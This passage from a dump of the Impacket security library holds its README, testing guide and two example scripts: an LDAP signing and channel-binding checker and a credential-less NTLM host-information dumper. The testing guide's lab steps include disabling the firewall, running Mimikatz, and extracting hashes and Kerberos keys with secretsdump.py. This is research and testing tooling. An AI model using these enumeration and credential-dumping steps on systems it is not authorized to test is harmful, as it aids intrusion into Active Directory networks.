CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n\nimpacket/examples/recomsvc.py is based on recomsvc by Talha Tariq\nand is distributed under the following license:\n\nCopyright (c) 2006 Talha Tariq [ talha.tariq@gmail.com ]\nAll rights are reserved.\n\nPermission to use, copy, modify, and distribute this software\nfor any purpose and without any fee is hereby granted,\nprovided this notice is included in its entirety in the\ndocumentation and in the source files.\n\nThis software and any related documentation is provided \"as is\"\nwithout any warranty of any kind, either express or implied,\nincluding, without limitation, the implied warranties of\nmerchantability or fitness for a particular purpose. The entire\nrisk arising out of use or performance of the software remains\nwith you.\n\n\nimpacket/krb5/asn1.py and impacket/krb5/types.py by Marc Horowitz\nare distributed under the following license:\n\nCopyright (c) 2013, Marc Horowitz\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\nRedistributions of source code must retain the above copyright notice,\nthis list of conditions and the following disclaimer.\n\nRedistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nHOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\nimpacket/krb5/crypto.py by the Massachusetts Institute of Technology is\ndistributed under the following license:\n\nCopyright (C) 2013 by the Massachusetts Institute of Technology.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n* Redistributions of source code must retain the above copyright\n  notice, this list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright\n  notice, this list of conditions and the following disclaimer in\n  the documentation and/or other materials provided with the\n  distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\nFOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\nCOPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\nINDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\nSTRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\nOF THE POSSIBILITY OF SUCH DAMAGE.\n"
  },
  {
    "path": "MANIFEST.in",
    "content": "include MANIFEST.in\ninclude LICENSE\ninclude ChangeLog.md\ninclude README.md\ninclude SECURITY.md\ninclude TESTING.md\n\ninclude requirements.txt\n\ninclude tox.ini\nrecursive-include examples tests *.txt *.py\nrecursive-include tests *\n"
  },
  {
    "path": "README.md",
    "content": "<img width=\"2043\" height=\"571\" alt=\"Impacket_light\" src=\"https://github.com/user-attachments/assets/14aed700-0c6e-4865-ac53-686b91874f50\" />\n\nImpacket\n========\n\n[![Latest Version](https://img.shields.io/pypi/v/impacket.svg)](https://pypi.python.org/pypi/impacket/)\n[![Build and test Impacket](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml/badge.svg)](https://github.com/fortra/impacket/actions/workflows/build_and_test.yml)\n\nCopyright Fortra, LLC and its affiliated companies. All rights reserved.\n\nImpacket was originally created by [SecureAuth](https://www.secureauth.com/labs/open-source-tools/impacket), and now maintained by Fortra's Core Security.\n\nImpacket is a collection of Python classes for working with network\nprotocols. Impacket is focused on providing low-level\nprogrammatic access to the packets and for some protocols (e.g.\nSMB1-3 and MSRPC) the protocol implementation itself.\nPackets can be constructed from scratch, as well as parsed from \nraw data, and the object-oriented API makes it simple to work with \ndeep hierarchies of protocols. The library provides a set of tools\nas examples of what can be done within the context of this library.\n\nWhat protocols are featured?\n----------------------------\n\n * Ethernet, Linux \"Cooked\" capture.\n * IP, TCP, UDP, ICMP, IGMP, ARP.\n * IPv4 and IPv6 Support.\n * NMB and SMB1, SMB2 and SMB3 (high-level implementations).\n * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.\n * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.\n * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI.\n * Portions of TDS (MSSQL) and LDAP protocol implementations.\n \nMaintainer\n==========\n\n[Core Security](https://www.coresecurity.com/)\n\n\nTable of Contents\n=================\n\n* [Getting Impacket](#getting-impacket)\n* [Setup](#setup)\n* [Testing](#testing)\n* [Licensing](#licensing)\n* [Disclaimer](#disclaimer)\n* [Contact Us](#contact-us)\n\nGetting Impacket\n================\n\n### Latest version\n\n* Impacket v0.13.0\n\n  [![Python versions](https://img.shields.io/pypi/pyversions/impacket.svg)](https://pypi.python.org/pypi/impacket/)\n\n[Current and past releases](https://github.com/fortra/impacket/releases)\n\n### Development version\n\n* Impacket v0.14.0-dev (**[master branch](https://github.com/fortra/impacket/tree/master)**)\n\n  [![Python versions](https://img.shields.io/badge/python-3.9%20|%203.10%20|%203.11%20|%203.12%20|%203.13-blue.svg)](https://github.com/fortra/impacket/tree/master)\n\n\nSetup\n=====\n\n### Quick start\n\n> :information_source: We recommend using `pipx` over `pip` for system-wide installations.\n\nIn order to grab the latest stable release run:\n\n    python3 -m pipx install impacket\n\nIf you want to play with the unreleased changes, download the development \nversion from the [master branch](https://github.com/fortra/impacket/tree/master),\nextract the package, and execute the following command from the\ndirectory where Impacket has been unpacked:\n\n    python3 -m pipx install .\n\n### Docker Support\n\nBuild Impacket's image:\n\n      $ docker build -t \"impacket:latest\" .\n\nUsing Impacket's image:\n\n      $ docker run -it --rm \"impacket:latest\"\n\nTesting\n=======\n\nThe library leverages the [pytest](https://docs.pytest.org/) framework for organizing\nand marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of\nrunning them across supported Python versions, and [coverage](https://coverage.readthedocs.io/)\nto obtain coverage statistics.\n\nA [comprehensive testing guide](TESTING.md) is available.\n\n\nLicensing\n=========\n\nThis software is provided under a slightly modified version of\nthe Apache Software License. See the accompanying [LICENSE](LICENSE) file for\nmore information.\n\nSMBv1 and NetBIOS support based on Pysmb by Michael Teo.\n\nDisclaimer\n==========\n\nThe spirit of this Open Source initiative is to help security researchers,\nand the community, speed up research and educational activities related to\nthe implementation of networking protocols and stacks.\n\nThe information in this repository is for research and educational purposes\nand not meant to be used in production environments and/or as part\nof commercial products.\n\nIf you desire to use this code or some part of it for your own uses, we\nrecommend applying proper security development life cycle and secure coding\npractices, as well as generate and track the respective indicators of\ncompromise according to your needs.\n\n\nContact Us\n==========\n\nWhether you want to report a bug, send a patch, or give some suggestions\non this package, reach out to us at https://www.coresecurity.com/about/contact.\n\nFor security-related questions check our [security policy](SECURITY.md).\n"
  },
  {
    "path": "SECURITY.md",
    "content": "Security Policy\n===============\n\nAlthough this initiative is not meant to be used in productive environments,\nif you consider that you have identified an issue that might affect the\nsecurity of its users, or you understand that the tool is being abused,\nyou can contact us at https://www.coresecurity.com/about/contact.\n"
  },
  {
    "path": "TESTING.md",
    "content": "Testing\n=======\n\nThe library leverages the [pytest](https://docs.pytest.org/) framework for organizing\nand marking test cases, [tox](https://tox.readthedocs.io/) to automate the process of\nrunning them across supported Python versions, and [coverage](https://coverage.readthedocs.io/)\nto obtain coverage statistics.\n\n\nTest environment setup\n----------------------\n\nSome test cases are \"local\", meaning that don't require a target environment and can\nbe run off-line, while the bulk of the test cases are \"remote\" and requires some\nprior setup.\n\nIf you want to run the full set of library test cases, you need to prepare your\nenvironment by completing the following steps:\n\n1. Install testing requirements. You can use the following command to do so:\n\n         python3 -m pip install tox -r requirements-test.txt\n\n1. [Install and configure a target Active Directory Domain Controller](#active-directory-setup-and-configuration).\n\n1. [Configure remote test cases](#configure-remote-test-cases).\n\n\n> **Important note**\n> \n> Bear in mind that some remote tests are not idempotent, that means that they perform\n> changes on the target environment and the results of the tests depends on that. As an\n> example, some tests require the creation/modification/deletion of user accounts. If those\n> tests fail at some point during the process, user accounts might lay down there and\n> subsequent tests might fail when trying to create the user account. We recommend taking\n> snapshots of the target environment that can be then rolled back after a testing session.\n\nRunning tests\n-------------\n\nOnce that's done, you would be able to run the test suite with `pytest`. For example,\nyou can run all \"local\" test cases using the following command:\n\n      $ pytest -m \"not remote\"\n\nOr run the \"remote\" test cases with the following command:\n\n      $ pytest -m \"remote\" \n\nIf all goes well, all test cases should pass.\n\nYou can also leverage `pytest` [markers](https://docs.pytest.org/en/4.6.x/example/markers.html)\nor [keyword expressions](https://docs.pytest.org/en/4.6.x/usage.html#select-tests)\nto select which test case you want to run. Although we recommend using `pytest`, it's also possible to run individual test\ncase modules via `unittest.main` method. For example, to only run `ldap` test cases,\nyou can execute:\n\n      $ pytest -k \"ldap\"\n\n\nAutomating runs\n---------------\n\nIf you want to run the test cases in a new fresh environment, or run those across\ndifferent Python versions, you can use `tox`. You can specify the group of test cases\nyou want to run, which would be passed to `pytest`. As an example, the following\ncommand will run all \"local\" test cases across all the Python versions defined in\nthe `tox` configuration:\n\n      $ tox -- -m \"not remote\"\n\nCoverage\n--------\n\nIf you want to measure coverage in your test cases run, you can use it via the\n`pytest-cov` plugin, for example by running the following command:\n\n      $ pytest --cov --cov-config=tox.ini\n\n`tox` will collect and report coverage statistics as well, and combine it across\ndifferent Python version environment runs. You will have a coverage HTML report\nlocated at the default `Coverage`'s location `htlmcov/index.html`.\n\n\nConfiguration\n-------------\n\nConfiguration of all `pytest`, `coverage` and `tox` is contained in the\n[tox.ini](tox.ini) file. Refer to each tool documentation for further details\nabout the different settings.\n\n\nActive Directory Setup and Configuration\n----------------------------------------\n\nIn order to run remote test cases, a target Active Directory need to be properly\nconfigured with the expected objects. Current remote test cases are expected to\nwork against a Windows Server 2012 R2 Domain Controller. The following are the\nmain steps required:\n\n1. Make sure to disable the firewall on the interface you want to use for connecting\n   to the Domain Controller.\n   \n        PS C:\\> Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False\n\n1. Install the Active Directory Domain Services on the target server.\n   \n        PS C:\\> Install-WindowsFeature -name AD-Domain-Services -IncludeManagementTools \n\n1. Make sure the server's Administrator user password meet the complexity policy, as it's required\n   for promoting it to Domain Controller.\n\n        PS C:\\> $AdminPassword = \"<Admin Password>\"\n        PS C:\\> $Admin=[adsi](\"WinNT://$env:COMPUTERNAME/Administrator, user\")\n        PS C:\\> $Admin.psbase.invoke(\"setpassword\", $AdminPassword)\n\n1. Promote the installed Windows Server 2012 R2 to a Domain Controller, and configure\n   a domain of your choice.\n\n        PS C:\\> $DomainName = \"<Domain Name>\"\n        PS C:\\> $NetBIOSName = \"<NetBIOS Name>\"\n        PS C:\\> $RecoveryPassword = \"<Recovery Password>\"\n        PS C:\\> $SecureRecoveryPassword = ConvertTo-SecureString $RecoveryPassword -AsPlainText -Force\n        PS C:\\> Install-ADDSForest -DomainName $DomainName -InstallDns -SafeModeAdministratorPassword $SecureRecoveryPassword -DomainNetbiosName $NetBIOSName -SkipPreChecks\n\n1. Install DHCP services on the target Domain Controller.\n\n        PS C:\\> Install-WindowsFeature -name DHCP -IncludeManagementTools\n\n1. Create the DHCP administration groups and authorize the server.\n   \n        PS C:\\> netsh dhcp add securitygroups\n        PS C:\\> Restart-Service dhcpserver\n        PS C:\\> Add-DhcpServerInDC -DnsName <Server Name> -IPAddress <IP Address>\n        PS C:\\> $Credential = Get-Credential\n        PS C:\\> Set-DhcpServerDnsCredential -Credential $Credential -ComputerName <Server Name>\n\n1. Be sure to enable and run the `RemoteRegistry` service on the target Domain \n   Controller.\n\n        PS C:\\> Start-Service RemoteRegistry\n\n1. Create a Domain User with administrative rights. This is the user that will be used\n   to run the remote tests. We make sure to enable AES Kerberos encryption type and add\n   it to the Domain Admins group. \n\n        PS C:\\> $AdminUserName = \"<Admin User Name>\"\n        PS C:\\> $AdminAccountName = \"<Admin Account Name>\"\n        PS C:\\> $AdminUserPassword = \"<Admin User Password>\"\n        PS C:\\> $SecureAdminUserPassword = ConvertTo-SecureString $AdminUserPassword -AsPlainText -Force\n        PS C:\\> New-ADUser -Name $AdminUserName -SamAccountName $AdminAccountName -UserPrincipalName $AdminAccountName@$DomainName -AccountPassword $SecureAdminUserPassword -Enabled $true -ChangePasswordAtLogon $false  -KerberosEncryptionType RC4,AES128,AES256\n        PS C:\\> Add-ADGroupMember -Identity \"Domain Admins\" -Members <Account Name>\n\n\n### LDAPS (LDAP over SSL/TLS) configuration\n\nFor running LDAPS (LDAP over SSL/TLS) test cases, make sure you have a certificate\ninstalled and configured on the target Domain Controller. You can follow\nMicrosoft's [guidelines to configure LDAPS](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority).\n\nYou can use self-signed certificates by:\n\n   1. Create a CA private key and certificate:\n\n          $ openssl genrsa -aes256 -out ca_private.key 4096\n          $ openssl req -new -x509 -days 3650 -key ca_private.key -out ca_public.crt\n\n   1. Copying and importing the CA public certificate into the Domain\n      Controller server:\n\n          PS C:\\> Import-Certificate -FilePath ca_public.crt -CertStoreLocation 'Cert:\\LocalMachine\\Root' -Verbose\n\n   1. Creating a certificate request for the LDAP service, by editing the following\n      configuration file:\n      \n          ;----------------- request.inf -----------------\n          [Version]\n          Signature=\"$Windows NT$\n            \n          [NewRequest]\n          Subject = \"CN=<DC fqdn>\" ; replace with the FQDN of the DC\n          KeySpec = 1\n          KeyLength = 1024\n          Exportable = TRUE\n          MachineKeySet = TRUE\n          SMIME = False\n          PrivateKeyArchive = FALSE\n          UserProtected = FALSE\n          UseExistingKeySet = FALSE\n          ProviderName = \"Microsoft RSA SChannel Cryptographic Provider\"\n          ProviderType = 12\n          RequestType = PKCS10\n          KeyUsage = 0xa0\n      \n          [EnhancedKeyUsageExtension]\n          OID=1.3.6.1.5.5.7.3.1 ; this is for Server Authentication\n          ;-----------------------------------------------\n\n      And then running the following command:\n\n          PS C:\\> certreq -new request.inf ldapcert.csr\n\n   1. Signing the LDAP service certificate with the CA, by creating the\n      `v3ext.txt` configuration file:\n      \n          keyUsage=digitalSignature,keyEncipherment\n          extendedKeyUsage=serverAuth\n          subjectKeyIdentifier=hash\n\n      And running the following command:\n      \n          $ openssl x509 -req -days 365 -in ldapcert.csr -CA ca_public.crt -CAkey ca_private.key -extfile v3ext.txt -set_serial 01 -out ldapcert.crt\n\n   1. Copying and installing the new signed LDAP service certificate into\n      the Domain Controller server:\n\n          PS C:\\> certreq -accept ldapcert.crt\n\n   1. Finally, restarting the Domain Controller.\n\n\n### Mimilib configuration\n\n[Mimilib](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib) test\ncases require the service to be installed on the target Domain Controller. You can\ndo that by running Mimikatz with an elevated user and executing:\n\n        mimikatz # rpc::server\n\n\nConfigure Remote Test Cases\n---------------------------\n\nCreate a copy of the [dcetest.cfg.template](tests/dcetests.cfg.template) file and\nconfigure it with the necessary information associated to the Active Directory you\nconfigured. Path to the configuration file to use when running tests can be then\nspecified in the following ways:\n\n  * Using the pytest `--remote-config` command-line option.\n  * Using the pytest `remote-config` option in `tox.ini`.  \n  * Using the `REMOTE_CONFIG` environment variable.\n  * Default to loading from `tests/dcetests.cg`.\n\nFor example, you can keep configuration of different environments in\nseparate files, and specify which one you want the test to run against:\n\n        $ pytest --remote-config=tests/dcetests-win2016.cfg\n        $ pytest --remote-config=tests/dcetests-win2019.cfg\n\nMake sure you set a user with proper administrative privileges on the\ntarget Active Directory domain and that the user hashes and keys match with those\nin the environment. Hashes and Kerberos keys can be grabbed from the target Domain\nController using [secretsdump.py](examples/secretsdump.py) example script.\n\nMake sure also to have full network visibility into the target hosts and be able to\nresolve DNS queries for the Active Directory Domain configured. If you don't want to\nchange your test machine's DNS settings to point to the AD DNS server, you can\nconfigure your system to statically resolve (e.g. via `/etc/hosts` file) the host\nand domain FQDN to the server's IP address.\n"
  },
  {
    "path": "examples/CheckLDAPStatus.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Check LDAP signing status and LDAPS channel binding status.\n#   First, the script use the given domain controller IP and domain \n#   name to resolve all the domain controllers. Then the checks are\n#   performed against all domain controllers.\n#\n# Author:\n#   Thomas Seigneuret (@zblurx)\n\nimport argparse\nimport logging\nimport sys\nfrom dns.resolver import Resolver\nfrom OpenSSL.SSL import SysCallError\nfrom impacket import version\nfrom impacket.examples import logger\nfrom impacket.ldap.ldap import LDAPConnection, LDAPSessionError\n\nclass CheckLDAP:\n    def __init__(self, domain, dc_ip, timeout):\n        self.domain = domain\n        self.dc_ip = dc_ip\n        self.timeout = timeout\n\n    def list_dc(self):\n        dc_list = []\n        resolver = Resolver()\n        resolver.timeout = self.timeout\n        resolver.nameservers = [self.dc_ip]\n        dc_query = resolver.resolve(\n            f\"_ldap._tcp.dc._msdcs.{self.domain}\", 'SRV', tcp=True)\n        for dc in dc_query:\n            dc_list.append(str(dc.target).rstrip(\".\"))\n        return dc_list    \n        \n    def run(self):\n        dc_list = self.list_dc()\n        logging.info(f\"Found {len(dc_list)} domain controller(s) in {self.domain}\")\n        for dc in dc_list:\n            signing_required = self.check_ldap_signing(dc)\n            channel_binding_status = self.check_ldaps_cbt(dc)\n            print(f\"Hostname: {dc}\\n\\t> LDAP Signing Required: {signing_required}\\n\\t> LDAPS Channel Binding Status: {channel_binding_status}\")\n\n    def check_ldaps_cbt(self, hostname):\n        cbt_status = \"Never\"\n        ldap_url = f\"ldaps://{hostname}\"\n        try:\n            ldap_connection = LDAPConnection(url=ldap_url)\n            ldap_connection.channel_binding_value = None\n            ldap_connection.login(user=\" \", domain=self.domain)\n        except LDAPSessionError as e:\n            if str(e).find(\"data 80090346\") >= 0:\n                cbt_status = \"Always\"  # CBT is Required\n            # Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported\n            elif str(e).find(\"data 52e\") >= 0:\n                ldap_connection = LDAPConnection(url=ldap_url)\n                new_cbv = bytearray(ldap_connection.channel_binding_value)\n                new_cbv[15] = (new_cbv[3] + 1) % 256\n                ldap_connection.channel_binding_value = bytes(new_cbv)\n                try:\n                    ldap_connection.login(user=\" \", domain=self.domain)\n                except LDAPSessionError as e:\n                    if str(e).find(\"data 80090346\") >= 0:\n                        logging.debug(f\"LDAPS channel binding is set to 'When Supported' on host {hostname}\")\n                        cbt_status = \"When Supported\"  # CBT is When Supported\n            else:\n                logging.debug(f\"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}\")\n        except SysCallError as e:\n            logging.debug(f\"Received SysCallError when trying to enumerate channel binding support: {e!s}\")\n            if e.args[1] in [\"ECONNRESET\", \"WSAECONNRESET\", \"Unexpected EOF\"]:\n                cbt_status = \"No TLS cert\"\n            else:\n                raise\n        return cbt_status\n\n    def check_ldap_signing(self, hostname):\n        signing_required = False\n        ldap_url = f\"ldap://{hostname}\"\n        try:\n            ldap_connection = LDAPConnection(url=ldap_url, signing=False)\n            ldap_connection.login(domain=self.domain)\n            logging.debug(f\"LDAP signing is not enforced on {hostname}\")\n        except LDAPSessionError as e:\n            if str(e).find(\"strongerAuthRequired\") >= 0:\n                logging.debug(f\"LDAP signing is enforced on {hostname}\")\n                signing_required = True\n            else:\n                logging.debug(f\"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}\")\n        return signing_required\n\nif __name__ == '__main__':\n\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"LDAP signing and channel binding enumeration utility.\")\n    parser.add_argument('-dc-ip', required=True, action='store', metavar=\"ip address\", help='IP Address of a domain controller or a DNS resolver for the domain.')\n    parser.add_argument('-domain', required=True, action='store', help='<domain name>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-timeout', action='store', type=int, default=15, help='DNS timeout')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n    logger.init(options.ts, options.debug)\n\n    try:\n        dumper = CheckLDAP(options.domain, options.dc_ip, options.timeout)\n        logging.info(f\"Targeted domain: {options.domain}\")\n        dumper.run()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/DumpNTLMInfo.py",
    "content": "#!/usr/bin/env python\r\n# Impacket - Collection of Python classes for working with network protocols.\r\n#\r\n# Copyright Fortra, LLC and its affiliated companies \r\n#\r\n# All rights reserved.\r\n#\r\n# This software is provided under a slightly modified version\r\n# of the Apache Software License. See the accompanying LICENSE file\r\n# for more information.\r\n#\r\n# Description:\r\n#   Dump remote host information in ntlm authentication model, without credentials.\r\n#   For SMB protocols (1/2/3), it's easy to use SMBConnection class (thanks to @agsolino), \r\n#   but since negotiate response is not available in original classes, \r\n#   we made out custom classes based on them.\r\n#   The usefull information in negotiate response are \"Dialect Version\", \"Signing Options\",\r\n#   \"Maximum bytes allowed per smb request\" and \"Servers time information\".\r\n#   The point is sometimes server dosn't include \"boot time\" in response. But we show it,\r\n#   when available, in this script.\r\n# \r\n#   It's very easy to use:\r\n#       python DumpNTLMInfo.py 192.168.1.63\r\n#\r\n# Author:\r\n#   Alex Romero (@NtAlexio2)\r\n#\r\n# Reference for:\r\n#   [MS-SMB2]\r\n#   [MS-RPCE]\r\n#\r\n# ToDo:\r\n#   [ ] MSSQL\r\n#   [ ] Find new protocols using NTLM for authentication in network.\r\n# \r\n\r\nimport os\r\nimport sys\r\nimport argparse\r\nimport logging\r\nimport struct\r\nimport socket\r\nimport math, string, random\r\nfrom six import indexbytes\r\nfrom datetime import datetime, timedelta, timezone\r\n\r\nfrom impacket import version\r\nfrom impacket import nmb, ntlm\r\nfrom impacket.examples import logger\r\nfrom impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBNTLMDialect_Parameters,\\\r\n    SMBNTLMDialect_Data, SMBExtended_Security_Parameters, SMBExtended_Security_Data, UnsupportedFeature,\\\r\n    SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Parameters, SMBSessionSetupAndX_Extended_Response_Parameters,\\\r\n    SMBSessionSetupAndX_Extended_Response_Data, SMBSessionSetupAndXResponse_Parameters, SMB_DIALECT\r\nfrom impacket.smb3structs import *\r\nfrom impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech\r\nfrom impacket.nt_errors import STATUS_SUCCESS, STATUS_MORE_PROCESSING_REQUIRED\r\nfrom impacket.uuid import uuidtup_to_bin\r\nfrom impacket.dcerpc.v5 import transport, epm\r\nfrom impacket.dcerpc.v5.rpcrt import *\r\n\r\n\r\nEPOCH_AS_FILETIME = 116444736000000000  # January 1, 1970 as MS file time\r\n\r\n\r\nclass RPC:\r\n    def __init__(self, target) -> None:\r\n        self.MaxTrasmitionSize = 0\r\n        self._initializeTransport(target)\r\n\r\n    def GetChallange(self):\r\n        ntlmChallenge = None\r\n        packet = self._create_bind_request()\r\n        self._rpctransport.send(packet.get_packet())\r\n        buffer = self._rpctransport.recv()\r\n        if buffer != 0:\r\n            response = MSRPCHeader(buffer)\r\n            bindResp = MSRPCBindAck(response.getData())\r\n\r\n            self.MaxTrasmitionSize = bindResp['max_rfrag']\r\n\r\n            ntlmChallenge = ntlm.NTLMAuthChallenge(bindResp['auth_data'])\r\n        return ntlmChallenge\r\n\r\n    def _initializeTransport(self, target):\r\n        self._rpctransport = transport.DCERPCTransportFactory(r'ncacn_ip_tcp:%s[135]' % target)\r\n        self._rpctransport.set_credentials('', '', '', '', '')\r\n        self._rpctransport.set_dport(135)\r\n        self._rpctransport.connect()\r\n\r\n    def _create_bind_request(self):\r\n        bind = MSRPCBind()\r\n        item = CtxItem()\r\n        item['AbstractSyntax'] = epm.MSRPC_UUID_PORTMAP\r\n        item['TransferSyntax'] = uuidtup_to_bin(('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0'))\r\n        item['ContextID'] = 0\r\n        item['TransItems'] = 1\r\n        bind.addCtxItem(item)\r\n\r\n        packet = MSRPCHeader()\r\n        packet['type'] = MSRPC_BIND\r\n        packet['pduData'] = bind.getData()\r\n        packet['call_id'] = 1\r\n\r\n        auth = ntlm.getNTLMSSPType1('', '', signingRequired=True, use_ntlmv2=True)\r\n        sec_trailer = SEC_TRAILER()\r\n        sec_trailer['auth_type']   = RPC_C_AUTHN_WINNT\r\n        sec_trailer['auth_level']  = RPC_C_AUTHN_LEVEL_PKT_INTEGRITY\r\n        sec_trailer['auth_ctx_id'] = 0 + 79231 \r\n        pad = (4 - (len(packet.get_packet()) % 4)) % 4\r\n        if pad != 0:\r\n           packet['pduData'] += b'\\xFF'*pad\r\n           sec_trailer['auth_pad_len']=pad\r\n        packet['sec_trailer'] = sec_trailer\r\n        packet['auth_data'] = auth\r\n\r\n        return packet\r\n\r\n\r\nclass SMB1:\r\n    def __init__(self, remote_name, remote_host, my_name=None, \r\n                    sess_port=445, timeout=60, session=None, negSessionResponse=None):\r\n        self._uid = 0\r\n        self._dialects_data = None\r\n        self._SignatureRequired = False\r\n        self._dialects_parameters = None\r\n        self.__flags1 = SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS\r\n        self.__flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES\r\n        self.__timeout = timeout\r\n        self._session = session\r\n        self._my_name = my_name\r\n        self._auth = None\r\n\r\n        if session is None:\r\n            self._session = nmb.NetBIOSTCPSession(my_name, remote_name, remote_host, nmb.TYPE_SERVER, sess_port, self.__timeout)\r\n\r\n        self._negotiateResponse = self._negotiateSession(negSessionResponse)\r\n\r\n    def GetNegotiateResponse(self):\r\n        return self._negotiateResponse\r\n\r\n    def GetChallange(self):\r\n        packet = NewSMBPacket()\r\n        if self._SignatureRequired:\r\n           packet['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\r\n        sessionSetup = self._createSessionSetupRequest()\r\n        packet.addCommand(sessionSetup)\r\n        self.send(packet)\r\n        packet = self.receive()\r\n        if packet.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\r\n            self._uid = packet['Uid']\r\n            sessionResponse   = SMBCommand(packet['Data'][0])\r\n            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])\r\n            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = packet['Flags2'])\r\n            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']\r\n            sessionData.fromString(sessionResponse['Data'])\r\n            self._respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])\r\n            ntlmChallenge = ntlm.NTLMAuthChallenge(self._respToken['ResponseToken'])\r\n            return ntlmChallenge\r\n\r\n    def Authenticate(self):\r\n        type3, _ = ntlm.getNTLMSSPType3(self._auth, self._respToken['ResponseToken'], '', '', '', '', '', use_ntlmv2=True)\r\n\r\n        packet = NewSMBPacket()\r\n        if self._SignatureRequired:\r\n            packet['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE\r\n\r\n        respToken2 = SPNEGO_NegTokenResp()\r\n        respToken2['ResponseToken'] = type3.getData()\r\n        sessionSetup = self._createSessionSetupRequest()\r\n        sessionSetup['Parameters']['SecurityBlobLength'] = len(respToken2)\r\n        sessionSetup['Data']['SecurityBlob'] = respToken2.getData()\r\n\r\n        packet.addCommand(sessionSetup)\r\n        self.send(packet)\r\n        packet = self.receive()\r\n\r\n        try:\r\n            if packet.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX):\r\n                sessionResponse   = SMBCommand(packet['Data'][0])\r\n                sessionParameters = SMBSessionSetupAndXResponse_Parameters(sessionResponse['Parameters'])\r\n                self._action = sessionParameters['Action']\r\n                return True\r\n        except:\r\n            pass\r\n        return False\r\n\r\n    def send(self, negoPacket):\r\n        